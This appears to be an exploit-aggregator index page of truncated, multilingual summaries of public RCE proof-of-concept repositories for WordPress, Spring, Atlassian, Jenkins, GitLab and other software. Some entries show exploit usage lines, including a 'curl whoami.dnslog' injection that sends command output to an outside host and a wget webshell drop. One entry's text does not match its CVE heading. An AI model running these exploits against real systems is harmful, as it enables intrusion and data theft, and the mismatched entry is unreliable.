poc-CVE-2026-64638-

XSS2Shell — CVE-2026-64638 PoC Cadeia de exploração WordPress Pre-Auth XSS → RCE, baseada em pesquisa de pwn.ai publicada em ionsec.io. ⚠️ AVISO LEGAL : Apenas para FINS EDUCACIONAIS e TESTES AUTORIZADOS. Use somente contra sistemas que você possui ou para os quais tenha permissão explícita por...

CVE-2024-6387

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Chiediamo il ritorno sicuro di tutti i cittadini che sono stati presi in ostaggio dal gruppo terroristico Hamas. Non ci fermeremo finché ogni ostaggio non sarà rilasciato e non tornerà a casa sano e salvo. Puoi aiutare a riportarli a...

cve-2018-1273

CVE-2018-1273 Spring Data Commons RCE vulnerabilità di esecuzione remota di comandi uso root@kitploit: C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : Richiesta BurpSuite:...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE und Laden externer Ressourcen gefunden von @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 Exploit Nur ein Beispiel, um eine Webshell im aktuellen Verzeichnis abzulegen. root@kitploit: python3 CVE-2023-2255.py --cmd 'wget...

CVE-2019-12409

CVE-2019-12409 Apache Solr RCE ENABLEREMOTEJMXOPTS="true" root@kitploit: root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true"...

CVE-2019-11580

CVE-2019-11580 Atlassian Crowd e Crowd Data Center RCE Utilizzo: python CVE-2019-11580.py http://xx.xx.xx.xx/ Download versione vulnerabile Crowd-2.11.0 https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.tar.gz Powered by Atlassian Crowd Version: 2.11.0...

CVE-2018-11776-Python-PoC

CVE-2018-11776-Python-PoC hook-s3c github.com/hook-s3c, @hooks3c su twitter Test funzionante in Python e PoC per CVE-2018-11776, originariamente apparso su; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC Cosa sta succedendo? Man Yue Mo di Semmle ha divulgato una vulnerabilità RCE in Struts...

CVE-2019-11581

CVE-2019-11581 Atlassian JIRA टेम्पलेट इंजेक्शन भेद्यता RCE डेमो python CVE-2019-11581.py http://xx.xx.xx.xx:8080/ "Command" भेद्यता संस्करण डाउनलोड https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe Poc root@kitploit:...

CVE-2025-49113

📧 Roundcube ≤ 1.6.10 RCE post-autenticazione tramite deserializzazione di oggetti PHP CVE-2025-49113 🔍 Analisi È stata scoperta una vulnerabilità critica di esecuzione remota di codice post-autenticazione in Roundcube versioni ≤ 1.6.10, causata da una deserializzazione non sicura di oggetti PHP...

CVE-2023-33733

Schwachstelle zur Code-Injection in der Python-Bibliothek Reportlab tl;dr In diesem Beitrag wird beschrieben, wie eine RCE Remote Code Execution in Reportlab gefunden und ausgenutzt wurde. Aufgrund der weiten Verbreitung von Reportlab bei der HTML-zu-PDF-Verarbeitung könnte diese Schwachstelle in...

CVE-2024-38063-poc

Real POC pubblicato https://github.com/ynwarcs/CVE-2024-38063 e l'ho aggiornato anche nel mio codice, questo può causare un crash nel tuo sistema, quindi usa una VM o solo per imparare, puoi ottenere RCE apportando modifiche al codice. Utilizzo iface Molto probabilmente è abilitato per impostazio...

CVE-2021-40444

Vollständig bewaffnetes CVE-2021-40444 Bösartiger Docx-Generator zur Ausnutzung von CVE-2021-40444 Microsoft Office Word Remote Code Execution, funktioniert mit beliebigen DLL-Dateien. Update 31.05.2022 - CVE-2022-30190 - Follina Der Generator kann nun auch das Dokument generieren, das für den...

Remote-Desktop-Services-Remote-Code-Execution-Vulnerability-CVE-2019-0708-

Vulnerabilità-di-Esecuzione-Remota-di-Codice-nei-Servizi-Desktop-Remoto-CVE-2019-0708- rce exploit , realizzato per funzionare con pocsuite3 https://github.com/knownsec/pocsuite3 Installa pocsuite 3 dal link sopra. Se hai problemi , contatta il team knownsec-404 Non aprire issue qui perché non è...

SambaHunter

SambaHunter E' un semplice script per sfruttare la RCE su Samba CVE-2017-7494. Ora funziona con Python3. Molte delle librerie richieste per Python2 sono deprecate es. commands Aggiunto logging per mostrare quali condivisioni sono scrivibili. Se appare 'Exploit Finished' ma nessuna condivisione è...

CVE-2021-22205

CVE-2021-22205 Versioni interessate: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Utilizzo root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Ottieni token csrf: Ottieni il token csrf tramite /users/signin, poi usa il precedente PoC di CVE-2021-22205 per creare...

CVE-2020-14750

CVE-2020-14750 PoC per le vulnerabilità CVE-2020-14750 e cve-2020-14882 Per testare se un sistema è vulnerabile usare: ./test-CVE-2020-14750 nombredelhost:7001 Al momento, in questa versione, garantisce solo se l'host è vulnerabile; se il risultato è negativo non è garanzia che non sia vulnerabil...

jackson-CVE-2020-8840

CVE-2020-8840 FasterXML/jackson-databind रिमोट कोड एक्जीक्यूशन भेद्यता...

CNVD-C-2019-48814-CNNVD-201904-961

CNVD-C-2019-48814 und CNNVD-201904-961 Dank an t00ls-ximcx0101 für die Bereitstellung des Skripts CNVD-C-2019-48814 POC Summary Relevante Links: Jianshu-Beitrag von 清水川崎: https://www.jianshu.com/p/c4982a845f55 Weiterleitung von 安全祖师爷: https://dwz.cn/2GQvbUae Aufgrund einiger Umgebungsfaktoren...

tplmap

Tplmap This project is no longer maintained. I'm happy to merge new PRs as long they don't break the test suite. Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operatin...

CVE-2024-23897

CVE-2024-23897 Jenkins CVE-2024-23897: Schwachstelle zum Lesen beliebiger Dateien, die zu RCE führt Jenkins verwendet die args4j-Bibliothek, um Befehlsargumente und Optionen auf dem Jenkins-Controller bei der Verarbeitung von CLI-Befehlen zu parsen. Dieser Befehlsparser hat eine Funktion, die ein...